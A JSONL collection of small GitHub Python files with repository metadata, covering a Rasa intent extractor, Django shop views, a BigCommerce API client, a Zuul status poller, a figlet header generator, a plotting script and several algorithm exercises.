+{"seq_id":"15593796813","text":"import json\n\ndef make_common_example(text=\"\", intent_name=\"\"):\n    return {\n        'text': text,\n        'intent': intent_name,\n        'entities':[]\n    }\ndef extractor(lang=\"en\", intent_json=None, project=\"\"):\n    if intent_json != None:\n        intent_name = intent_json['title'].lower().replace(' ','_')\n        examples = []\n        if lang in intent_json['data'].keys():\n            for example in intent_json['data'][lang]:\n                examples.append(make_common_example(example['content'],intent_name))\n\n    with open('./intents/%s/%s/rasa_intent_%s_%s.json' % (project,lang,intent_name,lang), 'a') as rasa_intent:\n        rasa_intent_format = {\n            'rasa_nlu_data':{\n                'common_examples':examples,\n                'entity_synonyms':[]\n            }\n        }\n        rasa_intent.write(json.dumps(rasa_intent_format,indent=3, ensure_ascii=False))\n\n# with open('./source/intents.json') as source:\n#     source_json = json.load(source)\n#     for src in source_json:\n#         intent_src = source_json[src]\n#         extractor(lang='en', intent_json=intent_src)\n#         extractor(lang='ar', intent_json=intent_src)","repo_name":"yaput/glib-extractor","sub_path":"intent_extractor.py","file_name":"intent_extractor.py","file_ext":"py","file_size_in_byte":1148,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"7874424743","text":"import random\n\nfrom django.shortcuts import get_object_or_404\nfrom django.views.generic import ListView\nfrom django.views.generic.base import TemplateView\n\n\nfrom geekshop.views import getjson\nfrom mainapp.models import ProductCategory, Product\n\n\n\ndef get_hot_product():\n    return random.sample(list(Product.objects.all()), 1)[0]\n\n\ndef get_same_products(hot_product):\n    return Product.objects.filter(category=hot_product.category).exclude(pk=hot_product.pk)[:3]\n\n\nclass ProductsView(TemplateView):\n    template_name = 'products.html'\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context['general_menu_links'] = getjson('general_menu_links')\n        context['title'] = 'Магазин/Продукция'\n        context['products_category_menu'] = ProductCategory.objects.all()\n        context['same_products'] = get_same_products(get_hot_product())\n        context['hot_product'] = get_hot_product()\n        return context\n\n\nclass ProductView(TemplateView):\n    template_name = 'product.html'\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context['title'] = f'Продукты/{(get_object_or_404(Product, pk=self.kwargs.get(\"pk\"))).short_desc}'\n        context['general_menu_links'] = getjson('general_menu_links')\n        context['products_category_menu'] = ProductCategory.objects.all()\n        context['product'] = get_object_or_404(Product, pk=self.kwargs.get(\"pk\")),\n        return context\n\n\nclass GroupProductsView(ListView):\n    template_name = 'groups_products.html'\n    context_object_name = 'products'\n    paginate_by = 2\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context['general_menu_links'] = getjson('general_menu_links')\n        context['products_category_menu'] = ProductCategory.objects.all()\n        if self.kwargs.get('slug') == 'products_all':\n            category = {\n                'name': 'все',\n                'href': 'products_all',\n            }\n            context['title'] = f'Продукты/{category[\"name\"]}'\n        else:\n            category = get_object_or_404(ProductCategory, href=self.kwargs.get('slug'))\n            context['title'] = f'Продукты/{category.name}'\n        context['category'] = category\n\n        return context\n\n    def get_queryset(self):\n        if self.kwargs.get('slug') == 'products_all':\n            products = Product.objects.filter(is_deleted=False).order_by('price')\n        else:\n            products = Product.objects.filter(category__href=self.kwargs.get('slug'), is_deleted=False)\n        return products\n","repo_name":"Chibizov96/Django-Base","sub_path":"geekshop/mainapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2669,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"11097208906","text":"from bst_hardcoded import bst1\nfrom collections import defaultdict\n\n\ndef fun(root, q_dict):\n    \n    queue = [(root, 0, 0)]\n    \n    while queue:\n        size = len(queue)\n        \n        for _ in range(size):\n        \n            node, d, l = queue.pop(0)\n            q_dict[d].append((l, node.data))                      \n        \n            if node.left:\n                queue.append((node.left, d-1, l+1))\n\n            if node.right:\n                queue.append((node.right, d+1, l+1))\n\n\ndef display(q_dict):\n    print(q_dict)\n    output = []\n    \n    for i in sorted(q_dict):\n        temp = []\n        for j in sorted(q_dict[i]):\n            temp.append(j[1])\n        output.append(temp)\n    \n    \n    return output\n\n\nq_dict = defaultdict(list)\nfun(bst1, q_dict)\n\noutput = display(q_dict)\nprint(output)\n\n\n\n\n","repo_name":"thecuriousjuel/Data-Structure-and-Algorithm","sub_path":"Source Codes/Trees/vertical_order_traversal.py","file_name":"vertical_order_traversal.py","file_ext":"py","file_size_in_byte":815,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"2535640919","text":"import pypyodbc\r\nimport csv\r\n\r\nall_data = csv.reader(open('./pacs_name.csv'))\r\nopen('D:/506_final/pac/pac_ocpf.csv', 'w')\r\nconnecter = pypyodbc.win_connect_mdb(u'Driver={Microsoft Access Driver (*.mdb, *.accdb)};DBQ=' +\r\n                                     'D:/506_final/data/OCPF Donor data/campaign-finance-reports/campaign-finance-reports.mdb')\r\ncur = connecter.cursor()\r\n\r\nfor i in all_data:\r\n    if i[0] != 'BT' and i[0] != 'RE':\r\n        continue\r\n    name = i[1]\r\n    name = name.replace(\"'\", \"''\")\r\n    try:\r\n        cur.execute(\"select re.id, re.report_id, re.occupation, re.employer, re.first_name, re.last_name, \"\r\n                    \"re.date, re.amount, ma.full_name, ma.cpf_id, re.city, re.state, re.contributor_type \"\r\n                    \"from vUPLOAD_tCURRENT_RECEIPTS as re left join vUPLOAD_MASTER as ma \"\r\n                    \"on re.report_id = ma.report_id \"\r\n                    \"where date>='2016-01-01' and date<='2019-12-31'\"\r\n                    \"and re.last_name='\" + name + \"'\")\r\n        list = cur.fetchall()\r\n    except:\r\n        print(name)\r\n        continue\r\n\r\n    with open('D:/506_final/pac/pac_ocpf.csv', 'a+', newline='') as file:\r\n        out_file = csv.writer(file)\r\n        for q in list:\r\n            out_file.writerow(q)\r\n\r\n","repo_name":"BU-Spark/CS506-Spring2020-Projects","sub_path":"campaign_finance_scorecard_YAL/src/get_ocpf_by_pacs.py","file_name":"get_ocpf_by_pacs.py","file_ext":"py","file_size_in_byte":1266,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"51"}
+{"seq_id":"12942021715","text":"import requests, base64, json, time, traceback, math\nfrom tenacity import retry, wait_exponential, stop_after_attempt\nfrom datetime import datetime, timedelta, date\nfrom decimal import Decimal\n\n# Helper class to convert a DynamoDB item to JSON.\nclass JSONEncoder(json.JSONEncoder):\n    def default(self, o):\n        if isinstance(o, Decimal):\n            if o % 1 > 0:\n                return float(o)\n            else:\n                return int(o)\n        elif isinstance(o, (datetime, date)):\n            return o.strftime(\"%Y-%m-%d %H:%M:%S\")\n        elif isinstance(o, (bytes, bytearray)):\n            return str(o)\n        else:\n            return super(JSONEncoder, self).default(o)\n\nclass BCConnector(object):\n\n    def __init__(self, setting=None, logger=None):\n        self.setting = setting\n        self.logger = logger\n        self.endpoint = 'https://api.bigcommerce.com/stores'\n\n    def _jsonDumps(self, data):\n        return json.dumps(data, indent=4, cls=JSONEncoder, ensure_ascii=False)\n\n    @property\n    def headers(self):\n        return {\n            \"Accept\": \"application/json\",\n            \"Content-Type\": \"application/json\",\n            \"X-Auth-Client\": self.setting[\"CLIENTID\"],\n            \"X-Auth-Token\": self.setting[\"ACCESSTOKEN\"]\n        }\n\n    @retry(reraise=True, wait=wait_exponential(multiplier=1, max=60), stop=stop_after_attempt(5))\n    def getMethod(self, storeHash, uri, filter=None, version='v2'):\n        requestUrl = \"{0}/{1}/{2}\".format(self.endpoint, storeHash, version) + uri\n        # self.logger.info(requestUrl)\n        response = requests.get(requestUrl, headers=self.headers, params=filter)\n        self.logger.info(response.status_code)\n        if response.status_code == 200:\n            return json.loads(response.content)\n        if response.status_code == 204: # can't find customer email (in CompanyModel isEmailTaken)\n            return False\n        else:\n            self.logger.error(response.content)\n            raise Exception(response.content)\n\n    def getPages(self, storeHash, uri, limit, filter=None, version='v2'):\n        if version == 'v2':\n            count = self.getMethod(storeHash, uri, filter=filter, version=version)['count']\n            pages = int(math.ceil(float(count) / float(limit)))\n            return pages\n        elif version == 'v3':\n            if filter is None:\n                filter = {'page': 1, 'limit': limit}\n            else:\n                filter['page'] = 1\n                filter['limit'] = limit\n            pagination = self.getMethod(storeHash, uri, filter=filter, version=version)['meta']['pagination']\n            return pagination['total_pages']\n\n    def getOrders(self, minDateCreated, maxDateCreated=None, limit=250):\n        try:\n            if maxDateCreated == None:\n                deadline = datetime.strptime(minDateCreated, \"%Y-%m-%d %H:%M:%S\") + timedelta(days=int(self.setting[\"DEADLINEDAYS\"]))\n                maxDateCreated = deadline.strftime(\"%Y-%m-%d %H:%M:%S\")\n            uri = \"/orders\"\n            pages = self.getPages(\n                self.setting[\"STOREHASH\"],\n                \"/orders/count\",\n                limit,\n                filter={\"min_date_created\": minDateCreated, \"max_date_created\": maxDateCreated}\n            )\n            filter = {\n                'limit': limit,\n                'min_date_created': minDateCreated,\n                'max_date_created': maxDateCreated\n            }\n            orders = []\n            for i in range(0, pages):\n                filter['page'] = i+1\n                orders.extend(\n                    self.getMethod(self.setting[\"STOREHASH\"], uri, filter=filter)\n                )\n            return orders\n        except Exception as e:\n            log = traceback.format_exc()\n            self.logger.exception(log)\n            raise\n\n    def getShippingAddresses(self, orderId):\n        try:\n            uri = \"/orders/{0}/shippingaddresses\".format(orderId)\n            shippingAddresses = self.getMethod(self.setting[\"STOREHASH\"], uri)\n            return shippingAddresses\n        except Exception as e:\n            log = traceback.format_exc()\n            self.logger.exception(log)\n            raise\n\n    def getOrderProducts(self, orderId):\n        try:\n            uri = \"/orders/{0}/products\".format(orderId)\n            orderProducts = self.getMethod(self.setting[\"STOREHASH\"], uri)\n            return orderProducts\n        except Exception as e:\n            log = traceback.format_exc()\n            self.logger.exception(log)\n            raise\n","repo_name":"ideabosque/DataWald-AWS","sub_path":"ext/aws_bcconnector/aws_bcconnector/aws_bcconnector.py","file_name":"aws_bcconnector.py","file_ext":"py","file_size_in_byte":4531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"44764224061","text":"#     __                            __                                                                 \n#    / /_     ___     ____ _   ____/ /  ___     _____   ____ _   ___     ____           ____     __  __\n#   / __ \\   / _ \\   / __ `/  / __  /  / _ \\   / ___/  / __ `/  / _ \\   / __ \\         / __ \\   / / / /\n#  / / / /  /  __/  / /_/ /  / /_/ /  /  __/  / /     / /_/ /  /  __/  / / / /   _    / /_/ /  / /_/ / \n# /_/ /_/   \\___/   \\__,_/   \\__,_/   \\___/  /_/      \\__, /   \\___/  /_/ /_/   (_)  / .___/   \\__, /  \n#                                                    /____/                         /_/       /____/   \n# \n# -*- coding: utf-8 -*-\n\n# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n#\n# MODULE DESCRIPTION\n# ------------------\n# This module puts a text at the top of a given text-/sourcefile which could\n# be a header generated by figlet. For every line generated you have the option\n# to put a string at the begin and end of the generated line (e.g. a comment-string)\n# \n# ARGUMENTS\n# ---------\n# headergen.py -f <filename> -t <text> -b <lineBegin> -e <lineEnd>\n#\n# <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\n\nimport sys, os, argparse, datetime\n\n# kill \"\"-signes if they occur at the beginning and at the end of the argument\ndef evalArg( arg ):\n\tresult = ''\n\n\t# check empty\n\tif arg == '':\n\t\treturn ''\n\n\t# check if \"\"-signs exist\n\tl = len( arg )\n\tif arg[ 0 ] == '\"' and arg[ l - 1 ] == '\"':\n\t\tresult = arg[ 1 : l - 2 ]\n\telse:\n\t\tresult = arg\n\n\treturn result\n\n# main\nif __name__ == '__main__':\n\n\t# create command line interface\n\tparser = argparse.ArgumentParser( description = 'This module puts a text at the top of a given text-/sourcefile (which could be a header generated by figlet for example). For every generated line you you can put a string at the beginning and end of that line (e.g. a comment-string)' )\n\n\tparser.add_argument( 'file', metavar = 'FILE', help = 'the filename of the file to add text to' )\n\tparser.add_argument( '-t', '--text', metavar = '', help = 'the text which is going to be pasted at the beginning of the file' )\n\tparser.add_argument( '-b', '--line-begin', metavar = '', help = 'a string that is put at the beginning of each line of the given text' )\n\tparser.add_argument( '-e', '--line-end', metavar = '', help = 'a string that is put at the end of each line of the given text' )\n\tparser.add_argument( '--generate-method', metavar = '', help = 'a custom method of generating the text' )\n\n\targs = parser.parse_args()\n\n\t# variables needed\n\tfilename = os.getcwd() + '/' + evalArg( args.file )\t\t# not-None-check is not necessary because of argparse\n\n\ttext = ''\n\tlineBegin = ''\n\tlineEnd = ''\n\tgenerateMethod = ''\n\n\tif args.text is not None:\n\t\ttext = evalArg( args.text )\n\tif args.line_begin is not None:\t\n\t\tlineBegin = evalArg( args.line_begin )\n\tif args.line_end is not None:\n\t\tlineEnd = evalArg( args.line_end )\n\tif args.generate_method is not None:\n\t\tgenerateMethod = evalArg( args.generate_method )\n\n\t# generate text with figlet\n\tif generateMethod != '':\t\t\t\t\t\t\t# custom way to generate text\n\t\tf = os.popen( generateMethod + ' ' + text )\n\telse:\t\t\t\t\t\t\t\t\t\t\t\t# default: generate text with figlet\n\t\tf = os.popen( 'figlet -w 1000 -f slant ' + text )\n\n\tgen = f.read()\n\n\t# add lineBegin and lineEnd to every line\n\taddedLines = gen.split( '\\n' )\n\tfor i in range( len( addedLines )):\n\t\taddedLines[ i ] = lineBegin \\\n\t\t\t\t\t\t+ addedLines[ i ] \\\n\t\t\t\t\t\t+ lineEnd \\\n\t\t\t\t\t\t+ '\\n'\n\n\t# merge contents of the file given and the new text in a temp file\n\t# ----------------------------------------------------------------\n\t# create a temp file which will be the output file\n\ttempfile = os.getcwd() + '/' + datetime.datetime.now().strftime( '%Y%m%d%H%M%S%f' )\n\n\t# open streams\n\tfinput = open( filename, 'r' )\n\tfoutput = open( tempfile, 'w' )\n\n\t# add lines of generated text first\n\tfor line in addedLines:\n\t\tfoutput.write( line )\n\n\t# then add lines of file\n\tfor line in finput:\n\t\tfoutput.write( line )\n\n\t# close streams\n\tfinput.close()\n\tfoutput.close()\n\n\t# delete the old file and rename the tempfile as it's the new file now\n\tos.remove( filename )\n\tos.rename( tempfile, filename )\n\n","repo_name":"Hoop77/python-scripts","sub_path":"headergen.py","file_name":"headergen.py","file_ext":"py","file_size_in_byte":4184,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"71766660318","text":"project_name = \"community\"  # snake_case suggested\n\nuser_model = {\n    \"token_auth\": True,  # set to use token auth to authenticate\n    \"allow_register\": True,  # set to use auto-craeted register function\n    \"set_visibility_public\": True,\n    \"fields\":\n    {  # check available fields at https://docs.djangoproject.com/en/2.2/ref/models/fields/\n        \"nickname\": {\n            \"field\": \"CharField\",\n            \"options\": [\"max_length=10\"]\n        },\n        \"bio\": {\n            \"field\": \"TextField\",\n            \"options\": []\n        },\n        \"website\": {\n            \"field\": \"URLField\",\n            \"options\": [\"null=True\"]\n        },\n        \"job\": {\n            \"field\":\n            \"CharField\",\n            \"choices\": [(\"ST\", \"STUDENT\"), (\"BS\", \"BUSINESS MAN\"),\n                        (\"PR\", \"PROGRAMMER\"), (\"ETC\", \"ETC\")],\n            \"options\": [\"max_length=3\", \"default='ETC'\"]\n        }\n    }\n}\n\napps = {\n    \"article\": { # app name here\n        \"models\": {  # check available fields at https://docs.djangoproject.com/en/2.2/ref/models/fields/\n            \"Article\":{\n                \"writer\": {\n                    \"template\": \"model_owner\"\n                },\n                \"content\": {\n                    \"field\": \"TextField\",\n                    \"options\": [\"null=False\", \"blank=True\"]\n                },\n                \"tag\": {\n                    \"field\": \"TextField\",\n                    \"options\": ['default=\"\"']\n                },\n            },\n        },\n        \"views\": {\n            \"PostDetail\": { # make a route for reading, updating, deleting a post\n                \"template\": \"detail_view_ud\",\n                \"model\": \"Article\",\n                \"permissions\": \"IsOwnerOrReadOnly\" # check available permission options at https://www.django-rest-framework.org/api-guide/permissions/#api-reference\n            },\n            \"PostList\": { # make a route for read all posts of its model in the DB, create a data of its model in the DB\n                \"template\": \"all_objects_view\",\n                \"model\": \"Article\",\n                \"permissions\": \"IsAuthenticatedOrReadOnly\" # check available permission options at https://www.django-rest-framework.org/api-guide/permissions/#api-reference\n            },\n            \"my_posts_view\": { # get all posts with writer = request.user\n                \"template\": \"filter_objects_view\",\n                \"model\": \"Article\",\n                \"options\": [\"writer=request.user\"]\n            },\n            \"user_posts_view\": {\n                \"template\": \"filter_objects_view\",\n                \"model\": \"Article\",\n                \"url_getters\": \"username\",\n                \"options\": [\"writer=username\"]\n            }\n        }\n    },\n    \"comment\": {\n        \"models\": {\n            \"Comment\":{\n                \"writer\": {\n                    \"template\": \"model_owner\"\n                },\n                \"article_id\": {\n                    \"field\": \"IntegerField\",\n                    \"options\": [\"null=False\"]\n                },\n                \"content\": {\n                    \"field\": \"TextField\",\n                    \"options\": [\"null=False\", \"blank=False\"]\n                },\n            },\n        },\n        \"views\": {\n            \"get_comments_view\": {\n                \"template\": \"filter_objects_view\",\n                \"model\": \"Comment\",\n                \"url_getters\": \"article_pk\",\n                \"options\": [\"article_id=article_pk\"]\n            },\n            \"create_comment_view\": { # make a route for read all posts of its model in the DB, create a data of its model in the DB\n                \"template\": \"all_objects_view\",\n                \"model\": \"Comment\",\n                \"permissions\": \"IsAuthenticatedOrReadOnly\" # check available permission options at https://www.django-rest-framework.org/api-guide/permissions/#api-reference\n            },\n        }\n    }\n}\n\ntimezone = \"Asia/Seoul\"\nlanguage = 'ko-kr'","repo_name":"code-yeongyu/fastdj","sub_path":"prj_info.py","file_name":"prj_info.py","file_ext":"py","file_size_in_byte":3905,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"51"}
+{"seq_id":"20018876405","text":"#!./bin/python3\n\nfrom pandas import read_csv\nfrom matplotlib import pyplot\nimport matplotlib\nimport math\nimport pandas as pd\n\nmatplotlib.use('TkAgg')\nmatplotlib.style.use('ggplot')\n\ndf = read_csv('~/steps.csv', header=0, index_col=4)\n\nfor ext in [True, False]:\n    if ext:\n        direction = \"Direcion: extend\"\n    else:\n        direction = \"Direcion: retract\"\n        \n    #plot2 = df[series[\"gen\"] == 98][series[\"ext\"] == ext].plot(y=\"angle\", fontsize=20)\n    #plot2.set_title(\"Step size: 20 milliseconds\", fontsize=50)\n\n    for gen in [0, 1, 2, 5, 10, 15, 20, 30]:\n        df.query('ext == {} and gen == {}'.format(ext, gen)).plot(x=\"angles\", y=\"wobble_dur\", fontsize=20).set_title(\n            \"Step size: {} milliseconds, {}\".format(1000 - (gen * 10), direction), fontsize=30)\n\n\npyplot.show()\n\n\n","repo_name":"alevchuk/solar-tracker","sub_path":"analysis/plot4_wobble_dur.py","file_name":"plot4_wobble_dur.py","file_ext":"py","file_size_in_byte":801,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"31618726641","text":"from helper import *\n\nclass m020_Multivector ( Scene ):\n    def construct( self ):\n\n        title = Text( '2D Geometric algebra: The multivector.' )\n        title.move_to( 3 * UP )\n        title.set_color( BLUE )\n        self.play( FadeIn( title ) )\n        self.wait( 5 )\n\n        eq = AcolorsMathTex( concat( r'M = \\alpha ', '+ a ', vec_e1, ' + b ', vec_e2, r' + \\beta', vec_e1, vec_e2 ) );\n        eq.move_to( UP * 2.0 )\n        self.play( Write( eq ) )\n        self.wait( 5 )\n\n        eq2 = [ AcolorsMathTex( concat( l.gpgradezero('M'), '= ', l.gpgrade('M', n = 0), r' = \\alpha' ) ),\n                AcolorsMathTex( concat( l.gpgradeone('M'), '= a ', vec_e1, ' + b ', vec_e2 ) ),\n                AcolorsMathTex( concat( l.gpgradetwo('M'), r'=\\beta', vec_e1, vec_e2 ) ) ]\n        eq2[0].shift( 1.0 * UP + 1.5 * LEFT )\n\n        self.play( Write( eq2[0] ) )\n        self.wait( 5 )\n        for i in range(2):\n            write_aligned( self, eq2[i], eq2[i+1], 0.75 * DOWN + 0.0 * LEFT, None )\n            self.wait( 7 )\n        self.wait( 5 )\n        self.play( FadeOut( VGroup(*eq2) ) )\n        #eq2p = eq2.copy()\n        #eq2p[0].shift( 0.0 * UP + 3 * LEFT )\n        #eq2p[1].shift( 0.0 * UP + 3 * LEFT )\n        #eq2p[2].shift( 0.0 * UP + 3 * LEFT )\n        #self.play( ReplacementTransform( VGroup(*eq2), VGroup(*eq2p) ) )\n        #self.wait( 5 )\n\n        eqp = [ AcolorsMathTex( concat( r'M = ', l.gpgradezero('M'), '+', l.gpgradeone('M'), '+', l.gpgradetwo('M') ) ),\n                AcolorsMathTex( concat( r'N = ', l.gpgradezero('N'), '+', l.gpgradeone('N'), '+', l.gpgradetwo('N') ) ) ]\n        eqp[0].move_to( eq[0] )\n        #eqp[0].shift( 1.0 * RIGHT )\n        self.play( ReplacementTransform( eq, eqp[0] ) )\n        self.wait( 5 )\n\n        for i in range(0,1):\n            write_aligned( self, eqp[i], eqp[i+1], 0.75 * DOWN + 0.0 * LEFT, None )\n            self.wait( 7 )\n        self.wait( 5 )\n\n        eq3 = AcolorsMathTex( concat( r'\\textrm{Let}\\quad M_r = ', l.gpgrade('M', n = 'r'), r',\\quad N_s = ', l.gpgrade('N', n = 's') ) )\n        self.play( Write( eq3 ) )\n        self.wait( 5 )\n\n        eq4 = [ AcolorsMathTex( concat( r'M_r \\cdot N_s \\equiv', l.gpgrade( 'M_r N_s', n = r'\\lvert {r - s} \\rvert' ) ) ),\n                AcolorsMathTex( concat( r'M_r \\wedge N_s \\equiv', l.gpgrade( 'M_r N_s', n = 'r + s' ) ) ) ]\n\n        eq4[0].shift( 1.0 * DOWN + 0.0 * LEFT )\n        self.play( Write( eq4[0] ) )\n        self.wait( 5 )\n        eq4[1].shift( 2.0 * DOWN + 0.0 * LEFT )\n        self.play( Write( eq4[1] ) )\n        self.wait( 5 )\n        eq4p0 = eq4[0].copy().shift( 3.0 * LEFT + 1.5 * UP )\n        eq4p1 = eq4[1].copy().shift( 3.0 * RIGHT + 2.5 * UP )\n        self.play( FadeOut( eq3 ) )\n        self.play( ReplacementTransform( VGroup(*eq4), VGroup(eq4p0, eq4p1) ) )\n        eqpp = AcolorsMathTex( concat( r'M = \\sum_k ', l.gpgrade('M', n = 'k'), r' = \\sum_k M_k',\n                                       r',\\quad N = \\sum_k ', l.gpgrade('N', n = 'k'), r' = \\sum_k N_k' ) )\n        eqpp.move_to( eqp[0] ).shift( 0.0 * LEFT + 0.5 * DOWN )\n        self.play( ReplacementTransform( VGroup(*eqp), eqpp ) )\n        self.wait( 5 )\n\n        eq5 = [ AcolorsMathTex( concat( l.gpgradezero( 'M N' ), ' = ', l.gpgradezero('M'), l.gpgradezero('N'),\n                                                                 '+', l.dot( l.gpgradeone('M'), l.gpgradeone('N') ),\n                                                                 '+', l.dot( l.gpgradetwo('M'), l.gpgradetwo('N') ) ) ),\n                AcolorsMathTex( concat( l.gpgradeone( 'M N' ), ' = ', l.gpgradezero('M'), l.gpgradeone('N'),\n                                                                 '+', l.gpgradezero('N'), l.gpgradeone('M'),\n                                                                 '+', l.dot( l.gpgradeone('M'), l.gpgradetwo('N') ),\n                                                                 '+', l.dot( l.gpgradetwo('M'), l.gpgradeone('N') ) ) ),\n                AcolorsMathTex( concat( l.gpgradetwo( 'M N' ), ' = ', l.gpgradezero('M'), l.gpgradetwo('N'),\n                                                                 '+', l.gpgradezero('N'), l.gpgradetwo('M'),\n                                                                 '+', l.wedge( l.gpgradeone('M'), l.gpgradeone('N') ) ) ) ]\n        eq5[0].shift( 0.5 * DOWN + 1.5 * LEFT )\n        self.play( Write( eq5[0] ) )\n        self.wait( 5 )\n        for i in range(2):\n            write_aligned( self, eq5[i], eq5[i+1], 0.75 * DOWN + 0.0 * LEFT, None )\n            self.wait( 7 )\n        self.wait( 5 )\n\n        fadeall( self )\n\n# vim: et sw=4 ts=4\n","repo_name":"peeterjoot/manim-experiments","sub_path":"gashortintro/m020_Multivector.py","file_name":"m020_Multivector.py","file_ext":"py","file_size_in_byte":4611,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"25840937513","text":"import logging\nfrom zuul_alarm.config import Config, Rule\n\nimport aiohttp\n\ndef enhance_list(jobs, parent, fields):\n    for job in jobs:\n        for k, v in fields.items():\n            job[v] = parent[k]\n\ndef identity_dict(*args):\n    return {a: a for a in args}\n\ndef process_pipeline(pipeline):\n    queues = pipeline['change_queues']\n    jobs = [process_queue(q) for q in queues]\n    jobs = [x for sublist in jobs for x in sublist]\n    enhance_list(jobs, pipeline, {'name': 'pipeline_name'})\n    return jobs\n\n\ndef process_queue(queue):\n    heads = [h for sublist in queue['heads'] for h in sublist]\n    jobs = [process_head(h) for h in heads]\n    jobs = [x for sublist in jobs for x in sublist]\n    enhance_list(jobs, queue, {'name': 'queue_name'})\n    return jobs\n\ndef process_head(head):\n    patch = None\n    revision = None\n    if head['id'] is not None:\n        head_id  = head['id'].split(',')\n        if len(head_id) == 2:\n            patch, revision = head_id\n    head['patch'] = patch\n    head['revision'] = revision\n\n    jobs = head['jobs']\n\n    head_fields = identity_dict('owner', 'project', 'project_canonical',\n                                'patch', 'revision')\n    head_fields['id'] = 'head_id'\n\n    enhance_list(jobs, head, head_fields)\n    return jobs\n\ndef process_res(res):\n    jobs = [process_pipeline(p) for p in res['pipelines']]\n    jobs = [x for sublist in jobs for x in sublist]\n    return jobs\n\n\ndef build_status_url(instance):\n    return f'https://{instance}/api/status'\n\n\n\nclass Poller:\n    config: Config\n    http: aiohttp.ClientSession\n    def __init__(self, config: Config, http: aiohttp.ClientSession):\n        self.config = config\n        self.http = http\n\n    async def poll_zuul(self) -> list[dict]:\n        instances = self.config.instances\n        jobs = []\n        for instance in instances:\n            instance_jobs = await self.poll_instance(instance)\n            jobs.extend(instance_jobs)\n        return jobs\n\n    async def poll_instance(self, instance: str) -> list[dict]:\n        logging.info(f'polling instance {instance}')\n        status_url = build_status_url(instance)\n        res = await self.http.get(status_url)\n        logging.debug(f'{instance} responded with {res.status}')\n        resjson = await res.json()\n        jobs =  process_res(resjson)\n        return jobs\n\n","repo_name":"eltrufas/zuul-alarm","sub_path":"zuul_alarm/poller.py","file_name":"poller.py","file_ext":"py","file_size_in_byte":2322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"27133592845","text":"t = int(input())\n\nfor i in range(1, t + 1) :\n    data = list(map(int, input().split()))\n    print('#%d %d' % (i, max(data)))\n    \n'''\n1. 각 테스트 케이스마다 10개의 수를 입력받아 리스트 형태로 구성한다.\n2. 해당 테스트 케이스 번호와 함께 data 리스트의 값 중 최대 값을 출력한다.\n\n'''\n","repo_name":"unie2/PythonCodingTest-Practice","sub_path":"SWEA/D1/최대수 구하기.py","file_name":"최대수 구하기.py","file_ext":"py","file_size_in_byte":336,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"33117982001","text":"from plotting import PlotClass\n\n\ndef main():\n    pa = PlotClass()\n    pa.appendSeries(\"Serie1\", [1,2,3,4,5],[2,2,3,4,5])\n    pa.appendSeries(\"Serie2\", [1, 2, 3, 4, 5], [5, 8, 3, 2, 1])\n    pa.appendSeries(\"Serie3\", [1, 2, 3, 4, 5], [4, 5, 10, 14, 7])\n    pa.show()\n\n    pb = PlotClass()\n    pb.setTitle(\"Graph 2\")\n    pb.setXLabel(\"X axis\")\n    pb.setYLabel(\"Y axis\")\n    pb.appendSeries(\"Serie1b\", [1, 2, 3], [2, 2, 3])\n    pb.appendSeries(\"Serie2b\", [1, 2, 3], [5, 8, 3])\n    pb.appendSeries(\"Serie3b\", [1, 2, 3, 4], [4, 5, 10, 14])\n    pb.save(\"Example1\")\n\n\nif __name__ == '__main__':\n    main()","repo_name":"AngelicaGutierrezMoreno/FGMpy","sub_path":"plot-test.py","file_name":"plot-test.py","file_ext":"py","file_size_in_byte":598,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"1308191306","text":"def deep_reverse(L):\n    \"\"\" assumes L is a list of lists whose elements are ints\n    Mutates L such that it reverses its elements and also\n    reverses the order of the int elements in every element of L.\n    It does not return anything.\n    \"\"\"\n    # Firest, reverse the main list in-place\n    L.reverse()\n\n    # Then for each sublist\n    for lst in L:\n        #reverse it\n        lst.reverse()\n\n    print (L)\n\ndeep_reverse([[1,2,3],[4,5,6],[7,8,9]])\n","repo_name":"mike-jolliffe/Learning","sub_path":"CS_courses/deep_reverse.py","file_name":"deep_reverse.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
